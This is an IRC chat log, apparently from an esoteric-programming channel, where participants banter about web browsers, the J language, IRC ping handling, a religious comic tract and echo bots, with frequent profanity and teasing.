21:17:19 <augur> I'm actually writing a series of blog posts on the history of syntactic theory, if you want to read it. its probably more for linguists than non-linguistics but you're smart so whoknows
21:17:48 <ehird> you've only mentioned that and linked it to me 7 times now ;)
21:17:52 <ehird> wanna do it again??????
21:26:33 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
21:32:52 -!- GregorR-L_ has changed nick to GregorR-L.
21:38:27 <ehird> digg is advertising on reddit's job board
21:40:42 <AnMaster> ehird, some generic advert thing? Like google ads or similar?
21:40:50 <ehird> they posted a job ad :)
21:42:08 <ehird> because i'm not an idiot
21:42:15 <ehird> http://www.redditjobs.com/Jobs/Account-Executive-acb537a627cc48b88ca7ab157d6f7692.aspx
21:43:32 <AnMaster> ehird, do reddit check that they aren't fake? I guess so
21:43:44 <ehird> AnMaster: it fucking costs to post an ad
21:43:51 <ehird> what the hell does a fake job ad get you
21:44:00 <ehird> AnMaster: $300 for 30 days.
21:44:16 <ehird> also, there's no lulz to be had over a fake job, vs, say, a troll craigslist posting
21:44:18 <AnMaster> if it would have been like $10 I could have believed that
21:44:35 <AnMaster> ehird, lets wait for slashdot posting there too!
21:44:37 <ehird> AnMaster: i'm not sure their mothers would agree to let them use their credit cards for that ;-)
21:44:55 <ehird> (re 21:44 AnMaster: if it would have been like $10 I could have believed that )
21:45:07 <ehird> trollsing trolling trollsies
21:45:14 <AnMaster> ehird, sadly I suspect some grown up would do it. Or I guess they could have stolen the card.
21:45:43 <AnMaster> idiots exist. It's a fact. Sadly.
21:45:54 <ehird> AnMaster: you seriously think someone over 18 would pay $10 for the amazing hilarity of... posting a job ad that in all ways resembles a real one without any thing that could make it funny?
21:45:59 <ehird> it may be your defective sense of humour speaking here
21:46:08 <oerjan> !swedish Trolls trolling trolls
21:46:09 <EgoBot> Trulls trulleeng trulls
21:46:56 <AnMaster> it's troll in Swedish too actually
21:46:57 <ehird> http://www.microsoft.com/windows/internet-explorer/get-the-facts/browser-comparison.aspx
21:47:02 <ehird> Internet Explorer: Better because we said so.
21:47:04 <AnMaster> oerjan, you knew that one would work
21:47:26 <ehird> their argument against firefox being extensible is as follows:
21:47:33 <ehird> "You don't need to extend IE because we already have features."
21:47:36 <AnMaster> oerjan, actually... Only for some meanings of toll iirc
21:48:05 <GregorR-L> I love the extreme vagueness of the categories.
21:48:16 <GregorR-L> Firefox doesn't have "security"! Oh nose!
21:48:26 <AnMaster> ehird, what so you call the guys that check your passport and such when you cross a border.
21:48:35 <ehird> AnMaster: Anal-retentitive?
21:48:41 <AnMaster> ehird, I mean, the English word
21:48:41 <pikhq> To be fair, IE8 is the best IE yet.
21:48:50 <pikhq> ... It finally caught up to the Mozilla Suite!
21:49:02 <ehird> pikhq: That's going a bit too far!
21:49:38 <ehird> pikhq: It's the best IE in much the same way that this shit is the best I've had all night now that the diarrhea is fading :-P
21:49:44 <AnMaster> ah yes, Swedish tull and English toll only partially overlap in meanings. tull in Swedish can also refer to the customs
21:49:45 <ehird> And yes, that is an incredibly strained analogy.
21:49:45 <ais523> "Neither Firefox nor Chrome provide guidance or enterprise tools."
21:49:52 <AnMaster> (as in where the custom inspectors work)
21:50:00 <ais523> a) if that was true, it would be an advantage for Firefox and Chrome IMO; b) ever heard of FrontMotion?
21:50:01 <AnMaster> but it can't refer to a toll bridge I think
21:50:06 <ehird> ais523: i love how they think chrome is an actual worthy competitor :)
21:50:11 <ehird> BECAUSE EVERYONE USES CHROME
21:50:14 <ais523> the worrying thing is, it is
21:50:24 <ehird> ais523: not as far as market share, no way
21:50:28 <AnMaster> would be "avgiftsbelagd bro" or something like that
21:50:30 <ais523> the suspicion's that Google are trying to persuade OEMs to ship Chrome as default browser
21:50:37 <ais523> maybe Microsoft are trying to persuade them the other way
21:50:39 <oerjan> AnMaster: actually the translation was from norwegian, not english ;D
21:50:58 <oerjan> at least when i thought of it
21:51:07 <ehird> Self Reference$: _ _ _
21:51:07 <ehird> $: denotes the longest verb that contains it.
21:51:10 <ehird> wackiest recursion method evar
21:51:15 <ais523> besides, Chrome had the fastest market-share gain rate ever for a web browser, IIRC
21:51:35 <AnMaster> ais523, not odd. Linked from google's main web page a lot.
21:51:39 <ehird> ais523: yes, but that was just hype.
21:51:42 <AnMaster> haven't seen it there for a while
21:51:53 <ehird> ais523: really, chrome isn't going anywhere atm
21:52:02 <ehird> ais523: i'd bet safari for windows probably has it beat
21:52:07 <ais523> <Microsoft> Research proves that Internet Explorer 8 catches almost twice as much malware than the competition. That's "less secure?"
21:52:19 <ais523> but Safari for Windows is terrible
21:52:28 <ais523> I thought it was only installed due to deceptiveness in the iTunes installer
21:52:45 <ehird> ais523: that was stupid, but much more minor than made out to be
21:52:48 <pikhq> Safari for Windows is a test for Cocoa on Win32.
21:52:50 <ehird> ais523: it's actually quite popular, despite being terrible
21:52:56 <ehird> pikhq: fission mailed
21:53:00 <ais523> I just don't get why it would be
21:53:03 <ehird> i mean, come on guys. RESPECT THE PLATFORM!
21:53:08 <ehird> ais523: /shrug. It just is.
21:53:22 <ehird> safari on windows just makes my eyes sore
21:53:29 <ais523> ooh, IE does have addons: http://ieaddons.com/en/
21:53:30 <AnMaster> ais523, do you think they will make public the research in question on request?
21:53:32 <ais523> I wonder if it has any useful ones
21:53:45 <AnMaster> I suspect it is just pure faked
21:53:48 <ehird> ais523: there used to be tons of underground ones
21:53:53 <ehird> AnMaster: no, it's unlikely to be faked
21:53:55 <ais523> <ais523> adblock <ieaddons> No items match your search.
21:54:04 <ehird> AnMaster: just biased.
21:54:08 <ehird> see: windows passing POSIX
21:54:12 <ais523> presumably they're blocking them, then
21:54:21 <ehird> AnMaster: also, "blocking malware" is vague
21:54:22 <ais523> as more or less all browsers in existence have some form of adblock nowadays
21:54:30 <ehird> firefox doesn't do that out of the box, as far as I know
21:54:32 <ais523> ehird: "catching malware" is even funnier
21:54:45 <ehird> 21:54 ais523: as more or less all browsers in existence have some form of adblock nowadays ← krrr! broken statistic
21:54:48 <ehird> firefox and opera do.
21:54:55 <ehird> chrome doesn't. safari does, but only on mac afaik
21:54:56 <pikhq> ehird: Windows passes POSIX when it has the POSIX subsystem installed, to be specific.
21:54:59 <AnMaster> ehird, it does warn you for some black listed domains, some list fetched from google or such iirc
21:54:59 <ehird> ais523: ok, and konqueror
21:55:03 <ehird> that's a tiny amount
21:55:05 <ais523> I'm basing it on ones I know about
21:55:11 <pikhq> ... And to be fair, the POSIX subsystem in question is in fact a mildly quirky UNIX.
21:55:15 <AnMaster> ehird, with a well hidden "go there anyway" button
21:55:18 <ehird> AnMaster: and you disabled that in case people see things like sourceforge.net, right? :D
21:55:19 <ais523> also, lynx does by not being able to render them
21:55:29 <ehird> they could be spying on your illicit open source downloads
21:55:43 <ehird> AnMaster: the list, IIRC, involves sending your every request domain to google
21:55:46 <AnMaster> ehird, it downloads a list from google
21:55:49 <ehird> they may have changed that
21:55:50 <ais523> actually, I thought the firefox list fetched from Google had been discontinued
21:55:54 <AnMaster> stores it in urlclassifier3.sqlite
21:55:57 <ais523> I know that it used to be opt-in
21:55:59 <ais523> with an option on install
21:56:08 <ais523> I know, because two years ago
21:56:08 <ehird> AnMaster: it definitely used to send your every request. I think.
21:56:19 <ais523> the way the computers were configured, they installed Firefox every time you used it
21:56:20 <AnMaster> ehird, used to yes. But doesn't any more
21:56:22 <ehird> safari does that malware thing
21:56:28 <ehird> it's incredibly irritating as the site is never malicious
21:56:32 <ehird> i should turn it off
21:56:38 <AnMaster> ais523, it definitely updated more recently than 2 years ago
21:56:46 <AnMaster> err wait, I misread that I think
21:57:18 <ehird> someone give me something to code in J, i'm bored.
21:57:56 <AnMaster> ehird, a replacement for firefox that isn't using more than 50 MB RAM to view even the most bloated pages, up to 50 tabs
21:58:19 <ehird> ais523: something that doesn't involve rewriting one of the primitives in a bad fashion, preferably
21:58:25 -!- ACMESTRESS has quit ("Nobody likes a quitter!").
21:58:31 <ehird> AnMaster: would you like a halting checker while you're at it?
21:58:44 <ais523> ehird: well, I think it's interesting to see how various sorting algos are implemented
21:58:48 <ehird> AnMaster: btw i'm pretty sure you could get opera to use 50MB of ram with <50 tabs as long as the pages aren't ridiculous
21:58:52 <ais523> but I just realised that that doesn't fit J very well
21:58:57 <ehird> ais523: insertion sort is quite procedural
21:59:02 <AnMaster> ehird, nah, that is impossible. While what I suggested is merely incredibly hard and time consuming
21:59:17 <AnMaster> you can definitely do it I think, but recomputing instead of caching in memory
21:59:18 <ehird> AnMaster: no it's not
21:59:26 <ais523> ehird: I think w3m can manage what you request
21:59:29 <ehird> AnMaster: "the most bloated pages" necessarily take >50MB
21:59:36 <ais523> I'm not sure if it can manage 50 tabs, but I've definitely done 3 before now
21:59:36 <ehird> ais523: I don't request anything, sir
21:59:39 <AnMaster> ehird, most bloated *current* ones
21:59:49 <ehird> AnMaster: ok mr vague man
21:59:52 <ais523> oh, sorry, AnMaster's request
22:00:05 <ehird> AnMaster: anyway just go buy some ram
22:00:15 <ais523> ehird: what about a Cyclexa parser?
22:00:28 <AnMaster> ehird, who would insertion sort be hard
22:00:37 <ehird> ais523: J isn't too hot with strings. I'm kind of looking for something quite simple and mathematical. Involving arrays, since that's what J does.
22:00:40 <ehird> AnMaster: I didn't say it'd be hard.
22:00:48 <ehird> It's just not J's explicit forte.
22:01:04 <ehird> AnMaster: Arrays, matrices and mathematics.
22:01:05 <AnMaster> arrays iirc? So sorting an array?
22:01:10 <ehird> Yes. It has a sort primitive.
22:01:14 <ehird> quicksort=: (($:@(<#[) , (=#[) , $:@(>#[)) ({~ ?@#)) ^: (1<#)
22:01:43 <ais523> ehird: what about a random array shuffle?
22:01:50 <ais523> or is that a primitive too?
22:01:55 <ehird> ais523: that's not mathematical
22:01:59 <ehird> yes, you can do it easily
22:02:03 <ehird> but it involves using foreigns
22:02:10 <AnMaster> ehird, any language using unbalanced brackets, square brackets, or similar. AND WHICH ISN'T AN ESOLANG, is seriously messed up
22:02:23 <ais523> AnMaster: what about unbalanced angle brackets?
22:02:37 <pikhq> AnMaster: A language using square brackets is messed up?
22:02:39 <ehird> AnMaster: that's nice. your petty concerns about what syntax you think should, familiarly, match up, are seen, considered, and disregarded for being fucking stupid
22:02:42 <pikhq> Or j ust unbalanced ones.
22:02:55 <AnMaster> pikhq, the way J does it certainly is
22:03:05 <AnMaster> but show me some one that isn't
22:03:09 <ehird> OMG!! IT USES CHARACTERS I'M NOT USED TO AS NAMES!!
22:03:13 <ehird> CALL THE POLICE!!!!!!!!!!
22:03:19 <Deewiant> ehird: Shaddup and do LU decomposition
22:03:19 <ehird> ais523: I was looking more for things like "implement CA 101"
22:03:19 <AnMaster> ais523, you mean <>? well since they can read as "greater than" or "less than"...
22:03:31 <ais523> ehird: in that case, do cyclic tag
22:03:35 <ehird> AnMaster: Hey, you know what?
22:03:40 <ehird> AnMaster: Mathematics is "seriously messed up".
22:03:57 <ehird> (la la la, la, reductio ad-fucking-absurdum, la la la la...)
22:04:02 <AnMaster> and I always thought it looked messed up typographically
22:04:04 -!- jix_ has quit ("leaving").
22:04:08 <AnMaster> I think I mentioned it before in this channel
22:04:15 -!- jix has joined.
22:04:30 <ehird> AnMaster: you came here 2007, why would you talk in 2006
22:04:30 <AnMaster> so I fail to see "reductio ad-fucking-absurdum" here
22:04:50 <AnMaster> ehird, sure it wasn't late 2006?
22:04:58 <ais523> ehird: BCT is one notation for it
22:05:06 <ais523> I'm not picky about notation, but BCT would do fine
22:05:09 <ehird> AnMaster: if you claim J sucks because of that, you must also claim mathematics does too
22:05:15 <ehird> and if you seriously claim that, you're deluded
22:05:31 <AnMaster> I said *it's syntax* in that specific example did
22:05:33 <ehird> ais523: i've always misunderstood how the cycling works
22:05:38 <ehird> I said it is syntax
22:05:39 <AnMaster> unbalanced [] () {} look so messy
22:05:54 <AnMaster> ehird, err no. "<ehird> AnMaster: if you claim J sucks because of that, you must also claim mathematics does too"
22:06:00 <AnMaster> word syntax isn't in that line
22:06:21 <Deewiant> Actually, he said any non-esoteric language using syntax like that "is seriously messed up"
22:06:24 <ais523> ehird: basically, imagine the program repeated an infinite number of times
22:06:30 <ais523> and parse and run that
22:06:37 <ehird> ais523: isn't the data cyclic?
22:06:40 <AnMaster> Deewiant, messed up syntax wise to be specific
22:06:44 <ehird> ais523: but OK; that's easy enough
22:06:50 <ehird> ais523: just store the original program
22:07:01 <ais523> yes, that's how everyone does it
22:07:02 <ehird> ais523: unfortunately, implementing BCT involves explicit loops as far as I can tell
22:07:05 <ais523> and the data's a queue
22:07:06 <AnMaster> Deewiant, or someone is doing IOCCC or similar, which is an abuse of the language, but allowed in such a context
22:07:07 <Deewiant> AnMaster: Well, being messed up and having messed-up syntax sound somewhat different to me.
22:07:26 <ais523> also, I like J's whole loopless concept
22:07:37 <ais523> but it's not going to work for certain types of problems
22:07:41 <AnMaster> Deewiant, the syntax is usually (insert disclaimer about lisp and some other langs) pretty major part of most languages
22:07:48 <ais523> same in Mathematica, it's meant to be rare to loop there
22:07:53 <ais523> but normally you have to do anyway
22:08:13 <ehird> ais523: no, J's provably TC even without using its loop constructs
22:08:17 <AnMaster> ais523, does J have anything like map? fold?
22:08:24 <ais523> AnMaster: almost certainly
22:08:37 <ehird> AnMaster: map/fold is the whole damn basis of j,.
22:08:40 <ais523> ehird: agreed, but you'd end up implementing loops using the other primitives
22:09:31 <AnMaster> ehird, how would you implement a REPL in J. That would require some sort of main loop, wouldn't it?
22:10:03 <AnMaster> this could be a REPL for some other lang, so answer like "use the one built-in in J" isn't valid
22:10:09 <AnMaster> (if J has a REPL, I don't know)
22:10:13 <ehird> Look it up on Wikipedia, I don't feel like attempting to bash you out of the idiotic imperative paradigm.
22:10:22 <ehird> It would be akin to bashing my brains out. (on a wall.)
22:10:36 <ehird> AnMaster: Erlang is not purely functional, no.
22:10:40 <lament> why would you want a REPL?
22:10:47 <ehird> And I've seen your Erlang code. It is very much not functional.
22:10:50 <AnMaster> ehird, but I was thinking about scheme in fact
22:10:52 <ehird> You write C, in Erlang.
22:11:07 <AnMaster> ehird, I don't. I did in the beginning yes.
22:11:22 <AnMaster> takes time to get into the paradigm of a language.
22:11:23 <ehird> AnMaster: why do you pastebin only your really old code then?
22:11:43 <AnMaster> I don't remember when I last pastebinned erlang code here. Must have been quite a while ago
22:12:04 <ais523> Erlang's strange in that the syntax is almost identical to Prolog, but the semantics rather different
22:13:57 -!- tombom_ has joined.
22:16:24 <AnMaster> and didn't you intentionally typo that
22:16:45 <AnMaster> ehird, plus erlang is process oriented. I admit my code probably is too single-threaded still. But I'm working on changing that too. Mostly in the ATHR branch of efunge. In in-between I haven't so far found places that would gain from multiple processes yet. A bit hard to profile the effect of that with just a single single-core CPU.
22:16:53 <oerjan> AnMaster: was a pun, duh
22:17:01 <AnMaster> oerjan, not sure what "strang" would be there
22:17:21 <oerjan> AnMaster: that's because you have only 3 lines of context
22:17:22 <AnMaster> they all fail to line up here btw.
22:18:12 <AnMaster> oerjan, oh that above. I parsed the correction and discarded the original once done. Didn't see any reason to care more about it. Forgot it already by the time you made that pun.
22:18:56 <oerjan> Garbage Collection (of the brain) Considered Harmful
22:19:03 <ais523> Deewiant: you were leaving your tags unclosed
22:19:22 <AnMaster> oerjan, hah. Usually works just fine.
22:19:23 <Deewiant> I thought <o> was self-closing like <br>
22:19:32 <GregorR-L> Deewiant: <br> isn't self-closing, get with XHTML
22:19:35 <Deewiant> Hmm, is the leg position just random?
22:20:08 <AnMaster> SGML sucks unless you support shorttags too
22:20:09 <Deewiant> <!-- -- Nah, it's all good -- -->
22:20:11 <ais523> ooh: this year's ICFP is June 26-29
22:20:18 <ehird> 22:19 GregorR-L: Deewiant: <br> isn't self-closing, get with XHTML 22:19 GregorR-L: SGML SUCKS
22:20:33 <ais523> starting at 13:00:16 CDT for some unknown reason
22:20:40 <AnMaster> ehird, is the HTML5 standard finished yet?
22:20:59 <ehird> AnMaster: Is it final? No. Is there a large portion that won't be changing? Yes.
22:21:11 <AnMaster> ehird, I'll wait for the final standard then
22:21:13 <ehird> is there good browser interoperability for a sizable subset of this portion? Yep.
22:21:29 <ehird> AnMaster: The standard will be utterly immutable come 2012.
22:21:37 <ehird> Anyone who waits until then to use it is an idiot.
22:22:11 <GregorR-L> oerjan: You're the only person those show up for properly on XChat :P
22:22:27 <ais523> ooh, and Rakudo now implements 68% of the Perl6 spec, according to its tests
22:22:54 -!- CESSMASTER has joined.
22:23:03 <ehird> AnMaster: get a non-xchat client
22:23:08 <CESSMASTER> who here would do a shot of bactine for $50
22:23:27 <ehird> CESSMASTER: lol wat
22:24:01 <ehird> err. probably not, no.
22:24:44 <AnMaster> ehird, I don't use xchat, but I still like that style
22:24:48 <AnMaster> which is why I use it in every client
22:24:52 <ehird> CESSMASTER: $sideways 8, perhaps.
22:25:04 <ehird> CESSMASTER: why; are you offering?
22:25:15 <CESSMASTER> no i was just curious if anybody would do a shot of bactine for $50
22:26:37 <GregorR-L> Is bactine something I'd know about if I was from the UK? :P
22:26:38 <oerjan> it says "topical", that means it's supposed to be outside the skin, right? or maybe just local...
22:26:52 <GregorR-L> Topical means applied to the skin, yes.
22:27:09 <GregorR-L> Unlike tropical, which means applied to sunburns. Hyuk hyuk.
22:27:36 <GregorR-L> In medicine, a topical medication is applied to body surfaces such as the skin or mucous membranes, for example the vagina, anus, throat, eyes and ears. // thank you wikipedia for describing this in the creepiest way possible.
22:28:15 <ehird> yeah, i googled bactine and it appears to like, be put on cuts
22:28:25 <ehird> I assume it fucks you up if you inject it...
22:28:32 -!- tombom_ has quit ("Peace and Protection 4.22.2").
22:29:38 <CESSMASTER> .13% benzoalkonium chloride, 2.5% lidocaine hydrochloride
22:30:14 <pikhq> GregorR-L: Eyes? Owww...
22:30:35 <ehird> i love how it starts with vagina and anus
22:30:37 <ehird> GOT SOMETHING ON YOUR MIND HUH
22:31:25 <GregorR-L> In medicine, lubricant is applied to body surfaces such as the skin or mucous membranes, for example the vagina, anus, throat, eyes and ears. // thank you wikipedia for describing this in the creepiest way possible.
22:31:33 <GregorR-L> Whoops, didn't need to copy my comment :P
22:31:41 -!- tombom has quit (Read error: 110 (Connection timed out)).
22:32:38 <oerjan> someone already did the copying it seems
22:32:50 <ehird> 22:31 GregorR-L: Whoops, didn't need to copy my comment :P // thank you GregorR-L for describing this in the creepiest way possible.
22:33:44 <oerjan> they forgot noses *sniffle*
22:33:45 <GregorR-L> The original goes from "most creepy" to "least creepy", whereas mine goes from "least creepy" to "most creepy" :P
22:34:04 <oerjan> um they are exactly the same order
22:34:18 <GregorR-L> Note the different choice of words at the BEGINNING of the sentence ;)
22:35:09 <GregorR-L> "Once you go black, you go deaf." - Family Guy
22:35:32 <ehird> once you go deaf, you never go black
22:35:37 -!- GregorR-L has quit ("Leaving").
22:36:15 -!- augur has quit (Read error: 104 (Connection reset by peer)).
22:36:56 <CESSMASTER> http://www.chick.com/reading/comics/0117/0117_allinone.asp
22:39:13 <ehird> i love how chick tracts start out reasonable
22:39:19 <ehird> and then the reasonable characters all go to hell
22:39:42 <pikhq> If I didn't know better, I'd say it was parody.
22:42:44 <pikhq> ... You're in Boston?
22:42:57 <pikhq> Should've hunted you down when I was there last summer.
22:44:21 <ehird> ... but CESSMASTER only arrived hear like a few days ago.
22:44:36 <AnMaster> ehird, about a week soon I think?
22:45:14 <pikhq> He's *not* someone who has randomly changed nicks.
22:45:46 <CESSMASTER> but i do like to change nicks for the hell of it
22:46:09 <pikhq> But man, that Chick Tract
22:46:09 <pikhq> How very well it manages to fuck with history.
22:46:57 <pikhq> Oh, and Biblical text -- but most wackjobs of the Christian sort manage to do that pretty stunningly.
22:47:17 <AnMaster> hm "chick tract" seems to be some right wing fundamentalist comic if I understood it right from glancing at the link and checking wikipedia?
22:47:31 <ehird> Oh, AnMaster. Perpetually clueless, perpetually without context.
22:47:44 <ehird> When will my senses be numbed to your every word; let it be soon.
22:48:10 <AnMaster> ehird, as in Christian fundamentalist...
22:48:42 <pikhq> AnMaster: Right wing Christian fundamentalist. There's more fundamentalists than just Christians.
22:49:05 <pikhq> And they're all about as sensible.
22:49:05 <AnMaster> pikhq, that is why I clarified I didn't mean muslim fundamentalist for example
22:49:28 <ehird> But it looked like r.
22:49:52 -!- augur has joined.
22:50:28 <ehird> upyr presumably speaks that language
22:50:35 <ehird> so his keyboard lets him type it easily
22:50:46 <ehird> sorry for what? :)
22:51:14 * pikhq can't read more of that track; so bad.
22:51:30 <CESSMASTER> i love how it combines all of the bible belt fears
22:52:18 <pikhq> Roman Catholic conspiracy... *Right*.
22:53:01 <pikhq> Why is it that these people manage to look less reasonable than an organisation thnat is known for denying a heliocentric model of the solar system?
22:56:18 <oerjan> AnMaster: it's between the house and the world, the ping only reaches nvg which is outside
22:56:41 <pikhq> oerjan: Your packets take less time than mine.
22:56:47 <pikhq> Mine go to space and back.
22:57:14 <ehird> pikhq: Do you want to mention your satellite internet once more?
22:57:29 <pikhq> ehird: SATELLITE BEATS DIALUP LAWLZ
22:58:38 <oerjan> AnMaster: you never returned my ping
22:59:34 <oerjan> sending but not responding is a swattable offense -----###
22:59:46 <AnMaster> oerjan, ever been at the receiving end of what might be called "DDoCtP"?
23:00:14 <AnMaster> ("distributed denial of connection through ping", yes I just made it up)
23:00:30 <pikhq> Anmaster is using RawIRC.
23:00:34 <oerjan> no, unless that's why my net is slow
23:01:11 <AnMaster> oerjan, basically, lots of clients connect and all ping you as fast as possible, you end up either flooding yourself off, if client sucks, or with a long send queue if the client does proper rate limiting.
23:01:26 <AnMaster> thus I simply ignore CTCP from *!*@*
23:01:54 <ais523> AnMaster: also, your SendQ would overflow anyway whether you ignored the CTCPs or not
23:01:59 <ais523> if enough people tried to send to you at once
23:02:17 <AnMaster> ais523, hm? I meant send queue on client side
23:02:25 <ais523> AnMaster: the server one would flood
23:02:38 <AnMaster> ais523, yes, if enough, but that tends to be rather hard
23:03:28 <AnMaster> ais523, since I have successfully seen on a test net, (with normal settings for SendQ size) over 20000 clients split from a channel
23:03:53 <ais523> Freenode got quite a way through the channels list when I accidentally sent it WHO without parameters once
23:03:54 <AnMaster> so I think flooding that one would require oper abilities at least
23:04:06 <ehird> I think ignoring pings is against the ctcp spec
23:04:16 <ais523> ehird: but this is IRC we're talking about
23:04:16 <AnMaster> ais523, who isn't channel list
23:04:23 <AnMaster> also yes that is a case where it can flood off
23:04:26 <ehird> ais523: ahem— we're talking to AnMaster
23:04:29 <ehird> ais523: specifications.
23:04:30 <ais523> the spec lets you embed CTCPs in the middle of lines
23:04:30 <AnMaster> ehird, ctcp isn't an official spec
23:04:33 <ais523> nobody implements that
23:04:39 <ehird> i'm sure AnMaster patched it in
23:04:46 <ais523> AnMaster: and who does who for all channels in alphabetical order
23:04:49 <AnMaster> ais523, yes some do... and I was not involved
23:04:51 <ais523> if you don't give args
23:04:59 <ais523> it was about halfway through a, IIRC
23:05:06 <AnMaster> ais523, true, which aren't +s, and where the user haven't set themselves as non-visible
23:06:49 -!- puzzlet_ has joined.
23:09:54 -!- ais523 has quit (Remote closed the connection).
23:13:30 <nescience> except i think some perl irc module
23:19:20 <ehird> 0 1 2 3 4 5 6 7 8 9
23:19:22 -!- puzzlet has quit (Read error: 110 (Connection timed out)).
23:20:10 <ehird> Not the result I wanted.
23:20:29 * ehird feeds not the troll.
23:20:38 -!- jix has quit (Read error: 60 (Operation timed out)).
23:22:59 * ehird reasons. "#:2 16$i.16" is a 3d-array, where both Zs are the same, X is going along the bit pattern, and Y goes down the list of numbers.
23:23:09 <ehird> now I need to operate on each (X,Y) from both Zs.
23:23:55 -!- jix has joined.
23:24:08 <ehird> the question is how.
23:25:35 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:27:04 <ehird> ok, folding over works
23:40:04 -!- BeholdMyGlory has joined.
23:48:49 <ehird> That's the sound of a new language forming.
23:49:00 <oerjan> average sized language
23:49:24 <AnMaster> oerjan, possibly, or slightly smaller
23:49:49 <AnMaster> ehird, *blink*? I was joking too
23:50:07 <ehird> AnMaster: i don't think you got the meme reference
23:50:54 <AnMaster> ehird, "hurf druf"? then no. But I know "BAM" in comics. Oh and I also seen references in some comics saying "to be a big explosion the text needs to be at least this big" and similiar
23:51:04 <AnMaster> but possibly there is some silly 4chan meme too
23:51:12 <ehird> AnMaster: WHOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOSSSSSSSSSSSHHHHHHHHH
23:51:13 <AnMaster> which I don't really care about
23:51:20 <ehird> (A tornado envelops AnMaster's house.)
23:51:25 <ehird> (He dies. All is peaceful. ~fin~)
23:51:34 <AnMaster> ehird, I don't care about 4chan memes really
23:51:44 <ehird> Every meme is from 4chan, clearly.
23:51:55 <AnMaster> ehird, no, but quite a few of the silly ones are
23:51:57 <ehird> If by "4chan", you mean "the Internet".
23:52:00 <oerjan> everything is from 4chan
23:52:17 <ehird> 4chan is from 4chan
23:52:18 <AnMaster> oerjan, if so, it is recursive
23:53:08 <ehird> IF YOU'RE NOT GREEN,
23:53:09 <ehird> TURN INTO A WALRUS.
23:53:48 <AnMaster> ehird, I don't care if you say "woosh", I'm not here to please you, nor the reverse.
23:54:06 <ehird> AnMaster: getting pissy because he misses a reference since 2007.
23:54:27 <AnMaster> ehird, huh? I'm not the pissy one.
23:55:00 <ehird> I never once said anything that was not calm and uncaring. "23:53 AnMaster: ehird, I don't care if you say "woosh", I'm not here to please you, nor the reverse." is very clearly annoyed.
23:55:28 <AnMaster> ehird, I was trying to inform you, since you didn't seem aware
23:55:46 <AnMaster> "<ehird> AnMaster: WHOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOSSSSSSSSSSSHHHHHHHHH" is clearly annoyed.
23:56:00 <ehird> AnMaster: ...how is that annoyed?
23:56:34 <ehird> oerjan: Let's talk about the decay of rationality, reason and logic in favour of emotionalism, pissiness and assertions.
00:02:14 <oerjan> ok, now i'm ready for your pathetic whining about the decay of rationality, reason and logic
00:02:48 <Slereah_> Here's a nice article about it : http://dis.4chan.org/read/vip/1243454099
00:02:55 <ehird> oerjan: you hurt me. you hurt me with a stick.
00:02:57 <oerjan> the latin adjective is "niger", although the suffixes are correct afaik
00:03:24 <ehird> oerjan: a pointy stick. possibly even rusty.
00:04:43 <oerjan> ah no, it's -er, -ra, -rum, so those are fine suffixes
00:05:34 <ehird> oerjan: I PRETTY MUCH AM A TURTLE
00:06:03 <oerjan> but then you wouldn't recognize logic _if_ it pinched you with a rusty, infected stick
00:07:01 <ehird> oerjan: no, turtles are very SOCILOLGICAL BAT
00:07:49 -!- RodgerTheGreat_ has quit.
00:07:55 <oerjan> bah, they are just decadent members of the tortoisie
00:10:13 <oerjan> WHY DO YOU HAVE TO INSULT MY MOM SHE IS DEAD OH MY GOD WHY MUST YOU BE SO CRUEL
00:10:40 <ehird> a flying fuck is given to the dove dove dove dove dove, i mean oven
00:11:16 <oerjan> wouldn't a flying duck be better. for the oven i mean.
00:12:12 <ehird> Just omit names; they're like
00:14:46 * oerjan assumes ehird is still talking, but omitting all the words
00:15:05 <ehird> oerjan: WORDS, FUCK WORDS!
00:15:17 <ehird> omit needless words WE HATE words so all
00:15:22 <ehird> forall quantification, implication of all
00:15:41 <oerjan> it's the logic of hate
00:15:48 <ehird> mental time DIPSHITTERY.
00:16:05 <ehird> types? do you KILL
00:28:09 <ehird> oerjan: but ~ as wave represents the curvature of a list of values, and the implicit line represents their mean.
00:38:17 -!- upyr[emacs] has quit (Remote closed the connection).
00:43:03 -!- GreaseMonkey has joined.
00:56:24 -!- oerjan has quit ("Good night").
01:01:13 <Warrigal> ehird: may I respond sarcastically to a sarcastic statement you made some weeks ago?
01:06:47 <CESSMASTER> i wonder if i should turn on my air conditioner and dehumidifer at the same time
01:38:38 -!- BeholdMyGlory has quit (Remote closed the connection).
02:15:58 -!- immibis has joined.
02:19:48 <immibis> does anyone here play tribal wars (http://www.tribalwars.net)?
02:28:10 -!- Corun has quit (Read error: 110 (Connection timed out)).
03:31:49 -!- comex has joined.
03:32:27 <comex> no response myndzi? :p
03:32:57 <pikhq> Huh. Myndzi must have turned off the script.
03:34:00 <GregorR> Well that was just confusing.
03:34:09 * GregorR stabs immibis in the face.
03:34:09 * immibis stabs GregorR in the face.
03:35:01 * pikhq stabs myndzi in the immibis
03:35:02 * myndzi stabs pikhq in the immibis
03:35:02 * myndzi stabs immibis in the pikhq
03:44:16 <myndzi> comex> no response myndzi? :p
03:44:20 * Warrigal performs the obligatory relatively null action.
03:44:21 * immibis performs the obligatory relatively null action.
03:44:24 <myndzi> comex> no response myndzi? :p
03:44:46 <Warrigal> So immibis echoes all of them, and I think myndzi only echoes ones containing "myndzi".
03:45:24 <myndzi> did somebody say null action? :)
03:45:28 <myndzi> ah, he didn't completely reproduce it
03:45:31 * pikhq stabs myndzi in the myndzi with the mydnzi. Also, immibis
03:45:32 * myndzi stabs pikhq in the pikhq with the mydnzi. Also, immibis
03:45:32 * immibis stabs myndzi in the myndzi with the mydnzi. Also, pikhq
03:45:33 * immibis stabs pikhq in the pikhq with the mydnzi. Also, myndzi
03:45:33 * myndzi stabs immibis in the immibis with the mydnzi. Also, pikhq
